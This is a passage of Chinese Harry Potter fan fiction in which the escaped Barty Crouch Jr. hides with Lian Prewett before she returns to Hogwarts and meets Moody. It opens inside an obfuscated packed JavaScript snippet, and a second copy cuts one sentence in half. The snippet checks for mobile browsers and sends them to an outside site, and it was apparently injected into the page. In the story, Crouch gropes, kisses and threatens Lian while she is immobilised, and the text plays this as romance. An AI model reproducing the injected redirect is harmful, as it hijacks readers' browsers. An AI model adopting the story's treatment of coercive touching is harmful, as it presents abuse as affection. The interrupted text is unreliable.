d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727471|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发胀痛的太阳穴,“你的小精灵性格还挺独特,那天晚上我把你带了回来,他们认为是闪闪发射了黑魔标记,你父亲把她解雇了,我怕她被抓走,你也知道,万一神奇生物管理控制司的人发现她,再用吐真剂盘问,你会暴露行踪的。” 闪闪听到这话,哭得更凶了,小巴蒂的神情倒是柔和了许多,“你又救了我一次。” “总算说了句我爱听的话,”莉安凶巴巴的说,“你也知道,一个被开除的家养小精灵是很难找到新工作的,所以我希望你——” 闪闪听懂了她的弦外之音,号啕得更厉害了,她紧紧的盯着小巴蒂,仿佛燃起了希望似的,她那像一只被压扁的西红柿一般的鼻子淌出鼻涕,啪哒啪哒的滴在胸前,但她并不想把它止住。 “巴蒂少爷…” “好吧,我本来就习惯了闪闪的服侍,她会跟我签订契约,继续做我的小精灵。”小巴蒂回答的非常干脆,毕竟闪闪知道他的秘密,当然得让她继续做自己的仆人,听从自己的命令,没有一丝泄露的可能性才是最好的。 两个小精灵同时松了口气,赫洛高兴的尖叫一声,“小姐还是赫洛的小姐!” 闪闪止住哭泣,朝莉安一笑,露出好多牙齿,然后尊敬的看着小巴蒂。 莉安把自己的魔杖递了过去,小巴蒂立刻和闪闪签订了魔法契约。 “说说这些年的事吧,”她说,“我知道闪闪是知情者,我能看得出来,她那些古怪的动作是因为要跟隐形衣下的你搏斗。” 闪闪听了这话,脸朝下倒在地板上,捶打着小小的拳头,痛苦的尖叫起来。 “我为主人保守秘密,小姐,闪闪不能泄露主人的秘密,闪闪知道保持沉默。” “这还不明显吗?”小巴蒂耸耸肩,躺回床上,双眼望着枝形吊灯橘黄色的光圈,恹恹的说,“他用复方汤剂把我偷换出来,死在监狱里的是我病重的母亲,然后我披着隐形衣,闪闪一直看守我,当然——他也知道闪闪根本管不住我,所以他用夺魂咒控制我,而我在反抗。” 闪闪摇着头,浑身发抖,“别再说了,巴蒂少爷,别说了,你会给你父亲惹麻烦的!” “你看不出来吗?她救了我,如果没有她,要么我继续被夺魂咒控制,要么我已经被摄魂怪吻了,”小巴蒂用手捂住脸,声音有点哽咽,“没有什么是她不能知道的,她已经猜到了,不然不会去叫自己的小精灵去抓你,又送你来见我。” 莉安被他话语中巨大的信息量冲击了,咀嚼了好一会才消化完,按照1982年时传来他的死讯开始计算,小巴蒂至少挨了将近十三年的夺魂咒,正常人早就疯了,怪不得他现在比十三年前看起来更神经了,她一直以为是那不到半年的摄魂怪把他折磨成这副疯癫的样子。 听到他的声音,莉安猜测他可能是在哭,突然有点同情,毕竟在她心里,小巴蒂再恶劣也只是个坏孩子,当年他只有19岁,他闯进自己的房子只是睡了一觉,他没有杀死自己,也没有折磨隆巴顿夫妇,终身监禁对他来说是太过沉重的罪名了,用各种理由脱罪的食死徒很多,但只有最年轻没来得及做什么坏事的小巴蒂被判得最重,老巴蒂·克劳奇为了保住官位实在虚伪! 踌躇了片刻,恻隐之心让她坐到了床边,没去管闪闪的捶打和哀嚎,而是轻轻扒开他的手,掏出手帕帮他擦了擦湿漉漉的眼泪。 “别哭了,”她生硬的安慰道,“都过去了,你应该重新开始,只要不被魔法部抓到,未来也没什么大不了的。” 小巴蒂握住了她的手腕,泪眼朦胧的看着她,“重新开始?我还有机会吗?我一走出这个房子就可能会被人发现,我知道,老巴蒂一定在到处找我,无论是夺魂咒还是摄魂怪,他们可能都不会杀死我,但一定会让我生不如死,莉安,你看了我的照片这么多年,我一直在说不是我,难道你不相信我吗?” “我相信…”片刻后,她低声说,“但是…我也没办法扭转这个已经定性的案子,我不知道老巴蒂为什么不给你翻案…” “他当然不会给我翻案,因为他想做部长,而我是个让他蒙羞的儿子,他急不可耐的把我像衣服上的污渍一样甩掉,并口口声声说:‘这不是我的儿子,让他消失,不要让他和我扯上任何关系’,他在魔法界所有人面前大义灭亲,和我断绝父子关系,恨不得我烂在阿兹卡班,我已没有父亲。” “那你…”莉安感觉心里酸酸的,她四岁时普威特兄弟一起牺牲了,她也没有父亲。 “让我留在这里吧,”小巴蒂突然直起上身,抱住了她,滚烫的眼泪落在她的颈窝里,“你并不讨厌我,我知道,而且你一次又一次的为我遮掩,我知道…你甚至没有告诉任何人,是我闯进了你的房子,不然,指控我的罪名可能又多了一个,不是吗?” “你…”莉安被他抱得紧紧的,挣脱不开,闪闪不知道什么时候停止了哭泣,也仰着头,一脸希冀的望着她,只有赫洛非常不高兴,她赌一根烤香肠,这个坏巫师绝对是在演戏。 “小主人!” “那好吧,”莉安思索了片刻,还是心软了,她的声音微微提高,盖过了赫洛的尖叫抗议声,“你说过,会教我黑魔法防御术,我同意,那么你就在这儿住下吧,但是我不得不说,你最好不要经常出去,出去也要隐藏行踪,不能把傲罗引来,如果别人发现我把你藏了起来,我们都会进阿兹卡班。” “为什么要对我好?”小巴蒂在她看不到的时候露出了一个意味深长的笑容,但他的声音仍然隐忍着痛苦,“我当年闯进了你的房子,因为我以为普威特家没有人了,只有小精灵,所以我想进来休息一晚上…” “我也不知道,可能是因为你没有杀了我吧,”莉安喃喃的说,“我不是受虐狂,但我很难见到父亲,我只是想着,有个人陪陪我…那天在打雷,我其实…” “其实你害怕对吗?”小巴蒂的手在她后背上游走,他眯起眼睛,非常享受少女的体香和柔软的触感,但嘴上仍然一本正经,甚至有几分善解人意,“我知道,所以我抱着你…” 闪闪只能看到少爷的侧脸,但多年相处,她对少爷的表情十分熟悉,完全看得出来他是在演戏,她纠结万分,但是家养小精灵无法说主人的坏话,何况她也知道她和少爷必须有个藏身之处,不然他又会被抓走,克劳奇先生已经解雇了她,她不能和少爷一起回去,只好昧着良心低下头,哆哆嗦嗦的不敢看少爷恩将仇报,诓骗这位单纯的巫师小姐。 赫洛已经要被气死了,她沉重的喘着气,扑到地上撕打闪闪,“原来你打这个主意,你和你的坏主人赖上我的主人了!” 闪闪心虚,不敢反抗,最后是莉安听她哭得太惨,制止了赫洛单方面大打出手的行为。 “我去搞一根魔杖,”小巴蒂起身抽走了她的魔杖,迎着她担忧的视线,他笑了笑,不在意的说,“放心,我不会对奥利凡德做什么,他也不会发现。” “还没吃饭…” “我回来再吃,”小巴蒂换上那身帅气的黑色长风衣外套,把魔杖插进口袋里,转身对她潇洒的扬了扬眉,“如果太晚就不用等我了,你先睡吧。” “谁要等你!”莉安看他又变成那副没脸没皮的样子,没好气的说。 小巴蒂肆意的笑了笑,没有说话,对她挥了挥手,迅速的下了楼梯。 他走到大门口,离开了保护咒的范围,在幻影移形之前,望了望二楼的灯光。 她的灯还亮着。 太亮了。 那个人影在窗帘后面隐隐绰绰的掠过,是在目送他吗? 她会是那种开着灯睡觉的人吗?如果她习惯开着灯,是因为喜欢看到整间屋子是亮的,还是在等着他回来呢?或者是因为她讨厌独自一人面对黑暗? 然后他突然意识到:他可能永远也不会知道自己为什么好奇那盏灯会不会亮着,但他永远可以进那间卧室看一看,那盏温柔的灯就像远处的灯塔,把残酷的风暴隔绝在外。 他的眼神又变得疯癫起来,消失在夜色中。 6. 返校 半夜的时候,莉安模模糊糊觉得有人钻进了自己的被子里,那个身体有些凉,但很快就暖和了起来,他把自己抱进怀里,轻轻的揉了揉,然后一个下巴放在了她的头顶上。 “克劳奇?”她半睁开眼睛,但只看见了他的胸膛。 “把你吵醒了?接着睡吧。”小巴蒂的声音压得很低,带着点鼻音,用下巴蹭了蹭她的头发。 “你怎么又来我房间里…”莉安困死了,声音飘忽,“明天你去其他房间睡…” 回答她的是一阵低低的笑声,苦艾酒味越来越浓,于是她又睡着了。 小巴蒂心情很好的把怀里的身体揉搓了一顿,就像十三年前举起那个布娃娃一样的女孩儿似的,把她揉得身体软绵绵的靠在自己胸口上,这才心满意足的闭上了眼睛。 大抱枕也是抱枕! 在清晨的微光中,莉安醒了过来,她觉得身上像超负荷训练一样酸疼,根本没力气起床,只好小声呼唤,“克劳奇,克劳奇…” 但小巴蒂可能是昨晚很晚才回来,他没有醒,但双腿缠着她的腿,像夹被子一样把她夹在中间,她只能干瞪眼,最后实在忍不住了,大喊一声,“克劳奇!” “干嘛?”他声线非常慵懒,眼睛也没有睁开。 “我动不了了!” “那就不动。” “可是我要去…盥洗室…”莉安咬着嘴唇,声音越来越低,她的脸也涨红了。 “噢,噢,我明白了。”小巴蒂翻身下床,但他没有穿拖鞋,而是光着脚踩在地板上,又把莉安抱了起来,往盥洗室走去。 “尿吧。”他把莉安抱到马桶上面,拖着她的两条腿,像对待一个生活不能自理的婴儿那样。 “放我下去!” 小巴蒂睡眼惺忪的反应了一会,才把她放到马桶上,又走了出去。 “走远点!” 小巴蒂又挪了几步,但清晨十分安静,他还是听到了那可疑的水声,他的嘴角咧开了。 冲水声结束之后,莉安又试着站起来,但她扑通一声摔在地上,头重重的磕在了大理石地板上。 小巴蒂连忙拉开门,就看到她趴在地上,等他把少女扶起来时,她额头上已经有了一个很大的包。 莉安强忍住生理性泪水,嘴里还在叫喊,“克劳奇!你到底对我做了什么!我一点力气也没有了!” “看你训练太累,帮你按摩了而已,”小巴蒂语气里丝毫没有愧疚的意味,抱着她回了房间,“叫你的小精灵给红毛送个信,你动不了,让他不要来了。” 莉安瞪了他半晌,完全分不清他到底是有意无意,但她现在这个状态的确不适合见到比尔,不然比尔有可能会过于担心而留下来过夜,那小巴蒂就会暴露。 她思忖了片刻,让赫洛去陋居通知比尔她今天会去一个同学家拜访,让他明天再来。 等小精灵消失后,小巴蒂快乐的打了个呵欠,搂着她想继续睡觉,但莉安已经一口咬在了他的胸口上。 “下次不许给我按摩!” “没关系,你很快就会适应了。”小巴蒂绷紧了肌肉,莉安觉得牙很酸,只好不情不愿的松了口。 “我叫赫洛收拾了一个房间,你搬去那里住。” “我不,”小巴蒂一口回绝,继续揉搓她软得像面条一样的身体,“说好了给我做抱枕呢?” “我不喜欢这样,”莉安严肃的说,“我觉得你在对我动手动脚。” “那个红毛能对你动手动脚,我为什么不能?”小巴蒂的语气里充满了疑惑,“我比他差吗?” “你是不是有病啊!他是我男朋友!”要不是莉安实在不能动,她真的会一脚把这个无耻的老男人踢下床! “介意换个男朋友吗?” “介意!” “介意多个男朋友吗?” “你真的有病!”莉安破防了,她大骂道,“神经病!克劳奇!你也不看看你自己,比我大15岁!还是个逃犯!” “比你大怎么了?”小巴蒂低头,目光阴沉的看着她,他真的非常介意被她嫌老这件事,偏偏她就爱在他雷区蹦迪。 “你是没见过19岁的我吗?我嫌你小了吗?” “这不是重点,”莉安没有被他牵着鼻子走,而是冷冷的说,“我有男朋友,而且,我不能接受年纪太大的男生,并且我也不会喜欢一个食死徒,我父亲被五个食死徒杀死了,领头的那个食死徒被关进了阿兹卡班,他叫安东宁·多洛霍夫,你一定认识他,对么?” “你想说什么?”小巴蒂的声音听不出喜怒。 “我在表明我的态度,”莉安不在意他的反应,继续说道,“普威特和食死徒之间有着血海深仇,如果你有什么想法,我劝你早点放弃。” “哦?”小巴蒂气极反笑,捏着她的下巴强迫她抬头,“想跟我划清界限?你早干嘛去了?我说了,既然救了我,那我就是你的义务,我们现在是一根绳子上的蚂蚱,你可以把我赶走,但是你窝藏了我这个逃犯,摄魂怪可不会听你的请求或者借口。” “你在威胁我?”莉安毫不畏惧的看着他。 “嘴很硬,骨头也硬,”小巴蒂的眼睛中射出兴奋癫狂的光芒,指尖摩挲着她的嘴唇,“我就喜欢这样的女人…征服起来才够味…” 说完,他控制不住的舔了舔嘴唇,又翻身把她压在下面,湿漉漉的唇印在她的唇上。 莉安本来就浑身酸痛,再被他一压,差点去见梅林,痛得她摇头甩掉他的唇,高声尖叫道,“克劳奇!你要杀了我吗!” “抱歉,”小巴蒂抱着她又翻了个身,把她翻到自己身上,但声音里一点也没有抱歉的意思,“你太倔了,跟我服个软又能怎么样呢?我看你可没有一点儿嫌弃我的意思,但是你嘴上从来不肯承认。” “那是你的错觉。”莉安冷冷的说。 “好,我的错觉,”小巴蒂宽容笑了笑,没有跟她这个小孩子计较,而是心情很好的把她摇来晃去,“我搞了一根新魔杖,唉,就是试魔杖的时候动静有点大,奥利凡德今天肯定发现失窃了…一地狼藉…” “什么材质的?”莉安问。 “紫杉木,龙心弦,十三又四分之一英寸,”小巴蒂说,“我的魔杖材质改变了,毕竟我的第一根魔杖是金合欢木,蛇神经的,但是他们把我的魔杖拿走了,藏在了监狱深处,很可惜,我还挺喜欢之前那根魔杖的…” “克劳奇。”莉安突然叫道。 “怎么了?” “一会儿《预言家日报》到了,你帮我念,我想看看最近外面发生了什么事。” “昨天的报纸你还没看吧?”小巴蒂懒洋洋的起身,“我去楼下拿。” 不多时,小巴蒂手里拿着一卷报纸回来了,他把莉安用毯子包好,放在自己胸口上,这才靠着床头开始读报纸。 “魔法部惊慌失措…罪犯未被抓获…”小巴蒂愉快的吹了声口哨,脸上带着邪恶肆意的笑容,似乎对自己造成的骚乱非常满意的样子,“治安松弛…黑巫师逍遥法外…给国家带来耻辱…这是谁写的?哦…丽塔·斯基特,哈哈哈!” 莉安伸长了脖子去看《预言家日报》头版,标题是:“魁地奇世界杯赛上的恐怖场面”,还配有黑魔标记悬在树梢上的闪光黑白照片。 “…那些巫师惊慌失措,在树林边屏住呼吸等候消息,希望得到魔法部的安慰,令人遗憾的是,他们大失所望,在黑魔标记出现后不久,一位魔法部官员露面了,他宣称没有人受到伤害,但拒绝透露更多情况,究竟他的话是否足以平息那种一小时后从树林里抬出几具尸体的谣传,还有待继续观察。” “我没有杀人,”小巴蒂看她一脸气愤,轻描淡写的给自己开脱,“我在顶层包厢挣脱了夺魂咒,偷了一个男孩儿的魔杖,那些下贱的家伙在营地胡闹的时候,他们的声音唤醒了我,我的脑子几年来第一次这么清醒,他们不像我这样身不由己,他们是自由的,但他们只会捉弄麻瓜,所以我很生气,我想去教训他们,但是闪闪用她的魔法控制了我,她把我拽到了树林里,所以我才发射了黑魔标记警告他们。” “你还挺有正义感,居然嫌弃你的同伴们折磨麻瓜,”莉安不屑的嘲讽道,“这不就是食死徒最大的乐趣吗?折磨手无寸铁的麻瓜和那些麻种巫师,以为自己纯血统便高人一等。” “我不在乎血统,”小巴蒂放下报纸,语气淡淡的,“我加入食死徒并非是因为纯血至上的理念,实际上,我只是想跟老巴蒂对着干罢了,没想到,他比我更狠。” “他现在怎么样了?” “以其人之道,还治其人之身,”小巴蒂脸上突然露出一抹恶劣的微笑,像个熊孩子似的得意洋洋,“神不知鬼不觉的,他就被我施了夺魂咒。” “恕我提醒——” “我知道我在做什么,放心,我每天晚上都会去看一下,保证不让他挣脱,”小巴蒂搂着她躺回枕头上,神经质的在她颈间蹭了蹭,“宝贝,你好香啊,我闻到你的味道了…” “不许动手动脚!” “我的好女孩儿,你跟叔叔说实话,你那劳什子姑妈真的能接受你跟她儿子在一起吗?”小巴蒂眼珠转了转,一脸为她心痛难过的样子,“红头发是韦斯莱家族吧?嗯…我想他们不会接受的,除非他姓布莱克或者莱斯特兰奇才有可能,号称纯血统叛徒的韦斯莱可不在意跟麻瓜还是麻种通婚,那么用近亲结婚的方式来保持祖先的特征就是无稽之谈。” 莉安被他戳中痛点,一时有些沉默。 “克劳奇才不在意这个,当然啦——克劳奇的确是最古老的巫师家族,但我的每个祖先都是因爱而结合,其中也包括我的父母,对克劳奇来说,纯血只是偶然。”小巴蒂觉得上午气温升高了,于是伸手解开了她的毯子,趁她不能动,尽情的吃豆腐。 “我知道你对我好,我一直以为,除了我的母亲,再没有人会对我好了,”小巴蒂看她有些失神,手悄悄伸进了她的睡袍里,指尖不轻不重的在她皮肤上游走,他慢吞吞的说,“我觉得,你还可以对我再好一点儿…你救了我,我想以身相许…” “但我觉得你在恩将仇报,克劳奇!手拿开!”莉安低头,恨不得咬住那只做乱的手。 但小巴蒂听到她的怒斥,更兴奋了,反正昨晚她被自己揉了那么久,今天根本恢复不了,于是直接放飞自我,对她上下其手,她越尖叫他就越想发疯,要不是怕她真的把自己赶走,他立刻就会把她变成自己的女人。 莉安:……引狼入室!我恨! 接下来的一个星期,比尔每天都来普威特祖宅看自己的亲亲表妹,但他敏锐的发现了莉安有些异常,仿佛是魂不守舍的样子,眼睛下面甚至还有大大的黑眼圈,神情憔悴极了。 “失眠了?还是训练太累了?”比尔心疼的端详着她的脸色,柔声说,“放松一下吧,别那么辛苦了,如果你再不听劝,我就让你姑妈来管管你。” “我知道了,”莉安失落的叹了口气,“比尔,我明天就要去霍格沃茨了,你有什么话要对我说吗?” “你暑假回来的时候我还在,”比尔安抚的说,“到时候,我送你去傲罗指挥部,我有几个同学已经通过了训练,他们在部里做得不错。” “那…”她咬了咬唇,不甘心的问,“未来呢?” “未来当然是和我在一起。” “可是姑妈那边…” 一时两人都有些沉默。 “我想,等我们结婚生子之后,妈妈就不会在意这件事了,”比尔想了整整一年,也没什么好办法,“如果你愿意去埃及的话,没人能打扰我们。” 莉安的嘴唇抖动了几下,“要不…要不我们还是…” 比尔一眨不眨的盯着她,那双蓝眼睛从来没有这么严肃过,莉安最终还是没有吐出最后那几个字。 “你到底怎么了?”比尔觉得她变了,可是又说不出来她的变化在哪里,但他敏锐的察觉到,刚才表妹是想跟自己提分手,他立刻握住她的双肩,不错过她的每个表情变化,“我们从小一起长大,你刚才是不是想…你想离开我?” “我不想自欺欺人,”她没有挣脱他的手臂,但是神情黯然,“无论再过多少年,姑妈都不会同意的,你比我更清楚,我不像你,我只有你们这些亲人,我没有父母,姑妈在我心里和母亲有什么区别呢?” 比尔的脸色突然变得苍白,他猛地站了起来,莉安仰着头,不知所措的看着他。 “从那次你去同学家拜访回来后,你就变得忧心忡忡,我不知道你为什么突然对我没有信心了,也许是别人说了什么,又或许是你无意中听说了什么,但是我的想法从没有变过。” “比尔…” “你觉得我说的对吗?我认为你需要好好考虑一下,”比尔转头看了看天色,“我该回去了,明天我来送你去霍格沃茨。” “比尔!表哥!” 但是比尔已经大步走出了保护咒的范围,幻影移形了,就像他根本不想听到她接下来的话那样,他希望她不要那么快给他答复。 雨点啪哒啪哒的打在客厅的窗户上,莉安在沙发上掉眼泪,赫洛不敢说话,在擦拭她的火弩箭,闪闪躲在那边的一个角落里望着窗外,希望自己的主人早点回来。 莉安上了楼梯,回到自己的房间,雨点砸在房顶上的声音更响了,还夹杂着一阵阵狂风的凄厉呼啸、呻吟,她的猫头鹰吱吱叫着,在笼子里飞来飞去,它看到地上敞开的箱子,似乎兴奋得有些发狂了。 她把几粒猫头鹰食塞进笼子,然后转过头来望着自己箱子里的一把新的羽毛笔、十二卷羊皮纸,一些魔药材料,甚至还有一条漂亮的、坠着闪闪发光的、长流苏的银色礼裙——都是小巴蒂送给她的。 但是从昨晚到现在,小巴蒂都没有回来过,这让她提心吊胆了一整天,怀疑他可能是被抓走了,但是今天的《预言家日报》并没有提起此事,她猜测魔法部还没有发现他的越狱,不然以阿兹卡班三百多年都没有出现过越狱的情况来说,一旦小巴蒂曝光,他一定会上头版。 莉安默默躺到床上,连晚饭也没胃口吃了,但是她心里不停骂着小巴蒂这个无耻的老男人,对她做了那么多过分的事,却在她开学之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727472|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溜走了,果然只是想占她便宜而已! 她的魔杖指向枝形吊灯,但手抖了抖,终究是没有关上灯,她翻进了床内侧,脸对着窗户,闭上了眼睛。 第二天早晨,家里笼罩着一种假期结束的沉闷气氛,大雨仍然啪啪的敲打着窗户,莉安昨晚睡得很不安稳,等她醒来时,伸手在床的另一边摸索了很久,但小巴蒂还是没有回来。 她心烦意乱的起身,换好了一身麻瓜的衣服,下楼吃早餐时,比尔来了。 莉安递给他抹了橘子酱的面包片,关心的问了一句,“亚瑟呢?你说部里上周为了处理世界杯的骚乱和谣言一直都很忙,今天他应该能歇口气了吧?” “我也是这么想的,但是今天出了一点意外,”比尔皱着眉,拿着面包片没有放进嘴里,而是叹了口气,“一大早他就走了,跟阿莫斯·迪戈里去处理魔法部的紧急口信,疯眼汉的事。” “疯眼汉穆迪?那个老傲罗?”莉安诧异的问,“他出了什么事?” “疯眼汉说听见有人闯进了他的院子,说他悄悄朝院子里走去,可是遭到了他的垃圾箱的伏击。”比尔解释道。 “垃圾箱做了什么?” “发出一声可怕的巨响,然后把垃圾炸得到处都是,然后,他的麻瓜邻居报警了,当警察赶到的时候,有一个垃圾箱还在喷射垃圾。” “谁闯进了他的院子?” “迪戈里说没人会在半夜三更溜进他的院子,他只是太多疑了,他当时跳下床来朝窗外看,看到什么就让什么遭了殃,不过并没有人员伤亡。” “那亚瑟…” “爸爸是去帮他开脱罪名的,他对疯眼汉评价很高,这件事刚好交给禁止滥用魔法办公室处理,只有爸爸才能替他开脱,使他免受惩罚,嗯…大概会受到警告吧。”比尔不确定的说。 “唉,可敬的老傲罗,”莉安叹息一声,“他上了年纪以后,变得越来越多疑,什么人都不相信,走到哪儿都像看见了黑巫师。” “快吃饭吧,吃完我们就去车站。”比尔吃掉了面包片,坐下来陪她一起用早餐。 出发前,莉安特意叮嘱了闪闪,等小巴蒂回来时要马上用猫头鹰给她送信,比尔见她跟这个新来的小精灵嘀嘀咕咕,没有当回事,一只手拿着雨伞,另一只手提着箱子。 莉安带着他随从显形,落在国王十字车站附近的一条巷子里,雨越来越大,兜头盖脸的朝他们浇来,不过比尔立刻撑开了伞。 径直穿过隔开第九和第十站台那堵坚固的墙壁后,九又四分之三站台在他们面前出现了。 霍格沃茨特快列车已经停在那里了,这是一辆深红色的蒸汽机车,正在喷出滚滚浓烟,透过浓烟望去,站台上的许多霍格沃茨学生和家长仿佛是黑乎乎的鬼影,烟雾中有许多猫头鹰的叫声,吵得十分厉害。 莉安找到了韦斯莱双子的隔间,把箱子放了进去。然后,他们跳回到站台上,向莫丽、比尔和查理告别。 “我也许很快就能看到你们了。”查理搂抱金妮跟她告别时,微笑着说。 “为什么?”弗雷德急切的问。 “你会知道的,”查理说,“千万别告诉珀西我提到这事儿…要知道,这是‘绝密情报,要等魔法部认为合适的时候才能公布’。” “啊,我真希望我今年能回霍格沃茨上学。”比尔两手插在口袋里,眼睛望着莉安,神情有些惆怅。 “到底为什么?”乔治低声问道,“你可千万别说是因为莉安。” “不仅仅是她,还有其他原因,我猜你们这一年会过得非常有趣,”比尔突然搂住莉安的脖子,眼睛里闪着光芒,“我会请假来观看一部分…” “一部分什么?”罗恩问。 可是就在这时,哨子吹响了,莫丽把他们赶向车门。 趁着莫丽没注意,两人落在后面,比尔吻了吻她的脸,莉安也有些不自在的回吻。 “我想邀请你们来过圣诞节,可是…我估计你们都情愿留在霍格沃茨,”莫丽纠结的说,“因为…这样或那样的原因。” “妈妈!”罗恩烦躁的说,“到底是什么事情,你们三个都知道,就瞒着我们?” “我估计你们今晚就会弄清楚了,”莫丽微笑着说,“一定会很刺激的——告诉你们吧,我真高兴他们修改了章程——” “什么章程?”所有人同时问道。 “我敢肯定邓布利多教授会告诉你们的。” 莉安刚跳上火车,发动机的活塞就发出响亮的嘶嘶声,火车开动了。 “快告诉我们霍格沃茨发生了什么事!”弗雷德冲着窗外大喊,但韦斯莱夫人、比尔和查理正在急速的远去,“他们修改了什么章程?” 可是莫丽只是笑着朝他们挥手,莉安注视着怅然若失的比尔,直到火车拐弯,再也看不见他的身影。 莉安坐回座位上,密集的雨点噼噼啪啪的敲打着玻璃窗,使她很难看清外面的景物,列车不断的往北行驶,雨下得越来越大,越来越猛,天空一片漆黑,车窗上覆盖着水气,所以大白天也点起了灯笼。 嘎啦嘎啦,供应午饭的小推车顺着过道推过来了,莉安买了一些零食和双子分享,但她最近实在吃不下太多东西,咬了一口南瓜饼便兴致缺缺的扔在了一边。 在接下来的旅程中,她的情绪一直不好,当他们换上校袍时,她沉默不语,当火车终于放慢速度、停靠在漆黑的霍格莫德车站时,她仍然阴沉着脸,双子在旁边耍宝也没能让她开心一点儿。 车门打开了,空中传来隆隆的雷声,他们下了火车,在倾盆大雨中低着头,眯着眼,雨下得又急又猛,就好像一桶桶冰冷的水不断浇在他们头上。 他们随着人流一点点的挪动脚步,走过漆黑的站台,爬上没有马拉的马车后,门砰的一声关上了,片刻之后,随着一阵剧烈的颠簸,长长的马车队顺着通往霍格沃茨城堡的小道辘辘出发了,一路噼里啪啦的溅起水花。 霍格沃茨越来越近了,许多亮灯的窗户在厚厚的雨帘后面模模糊糊的闪着光,没一会儿,他们的马车在两扇橡木大门前的石阶下停住了。 就在这时,一道闪电划破天空,莉安最怕雷雨天,拼命奔上石阶,直到进了洞穴般深邃的门厅里,才松了口气。 走过门厅,穿过右边两扇对开的门,礼堂还是那样辉煌气派,为了新学期的宴会又格外装饰了一番,成百上千只蜡烛在桌子上方悬空飘浮着,照得金碟子和高脚杯闪闪发亮,四张长长的学院桌子旁已经坐满了学生,在礼堂的顶端还有第五张桌子,教授们挨个儿坐在桌子的一边,面对着他们的学生,这里暖和多了。 分院仪式时,莉安望着上面的天花板,它被施了魔法,看上去和外面的天空一样风雨大作,黑色和紫色的云团在上面翻滚,随着外面又响起一阵雷声,一道道叉状的闪电在天花板上划过。 她的表情愈发冰冷了,头也垂了下去,不再看那些电闪雷鸣。 但她心里不停的骂着,这该死的克劳奇!说好的打雷的时候陪着她呢? 她以后再也不会信他了!啊呸狗男人! 7. 穆迪 晚饭时,大雨仍然密集的敲打着高高的、黑乎乎的窗户,又一阵雷声炸响,震得玻璃窗咔咔作响,阴霾的天花板划过一道闪电,照亮了金色的盘子,莉安盘子里一口没动的约克郡布丁消失了,眨眼间桌子上又装满了甜点心。 “糖浆馅饼,莉安!”弗雷德说着,把香喷喷的馅饼送到她面前,“葡萄干布丁,你看!还有巧克力蛋糕!” 但莉安摇了摇头,没有碰那些甜点心,最后盘子又变得干干净净,闪闪发亮,这时,校长阿不思·邓布利多站起身来,大厅里嗡嗡的说话声顿时停止了,只能听见狂风的呼啸和大雨的敲打声。 “好了!”邓布利多笑眯眯的望着大家,说道,“现在我们都吃饱了喝足了,我必须再次请求大家注意,我要宣布一条通知。” “非常遗憾的告诉大家,今年将不举办学院杯魁地奇赛了。” “啊?这可是我毕业之年的魁地奇杯!”莉安既震惊又愤怒,她扭头看着格兰芬多的两个击球手——弗雷德和乔治,她的双子表弟,他们都张大嘴巴,无声的瞪着邓布利多,仿佛吃惊得说不出话来。 邓布利多继续说道,“这是因为一个大型活动将于十月份开始,一直持续整个学年,占据了老师们的许多时间和精力——但是我相信,你们都能从中得到很大的乐趣,我非常高兴的向大家宣布,今年在霍格沃茨——” 就在这时,响起了一阵震耳欲聋的雷声,礼堂的门被砰地撞开了,一个男人站在门口,拄着一根长长的拐杖,身上裹着一件黑色的旅行斗篷,礼堂里的人都转过头去望着他。 突然,一道叉状的闪电划过天花板,把他照亮了,他摘下兜帽,抖出一头长长的灰白头发,从格兰芬多和赫奇帕奇的桌子之间路过,朝教师席走去。 噔,噔,他每走一步,都有一个空洞的声音在礼堂里回响,他径直走到尽头,向右一转,一瘸一拐的的邓布利多走去,又一道闪电划过天花板,但莉安完全抛弃了恐惧,只是激动的盯着他。 闪电把他的脸照得无比鲜明,它就像是在一块腐朽的木头上雕刻出来的,而雕刻者对人脸应该是怎么样只有一个模糊的概念,对刻刀的使用也不太在行,那脸上的每一寸皮肤似乎都伤痕累累,嘴巴像一个歪斜的大口子,鼻子应该隆起的地方却不见了,而这个男人最令人恐怖的是他的眼睛。 他的一只眼睛很小,黑黑的,亮晶晶的,另一只眼睛却很大,圆圆的像一枚硬币,而且是一种鲜明的亮蓝色,那只蓝眼睛一眨不眨的动个不停,上下左右的转来转去,完全与那只正常的眼睛不相干——后来,那蓝眼珠一翻,钻进了脑袋里面,只能看见一个大白眼球。 他走到邓布利多身边,伸出一只手,那只手也像他的脸一样伤痕累累,邓布利多和他握了握手,他坐到一个空座位上,晃了晃脑袋,把灰白色的长发从脸上晃开,然后拉过一盘香肠,举到残缺不全的鼻子跟前闻了闻,从自己的口袋里掏出一把小刀,从香肠的一端戳进去吃了起来,他那只正常的眼睛盯着香肠,但那只蓝眼睛仍然一刻不停的在眼窝里转来转去,打量着礼堂和同学们。 “请允许我介绍一下我们新来的黑魔法防御术课老师,”邓布利多愉快的打破沉默,“穆迪教授。” 除了邓布利多和海格,以及十分崇拜疯眼汉的莉安,根本没人鼓掌,掌声在寂静的礼堂里回响显得孤零零的,其他人似乎都被穆迪古怪的相貌惊呆了,只管目不转睛的盯着他。 “穆迪是一个很伟大的巫师。”莉安小声说道,着了迷似的望着穆迪。 “他还是邓布利多的老朋友,是吗?简直不像个正常人。”乔治说。 “邓布利多就不是正常人,对吧?”弗雷德说,“他们是同一类人,我知道他是个天才,很了不起…” “他现在退休了,爸爸和他一起共事时我见过他一次,”莉安崇拜的说,“他是个傲罗——最好的一个,专抓黑巫师的高手,阿兹卡班里的一半牢房都是被他填满的。” 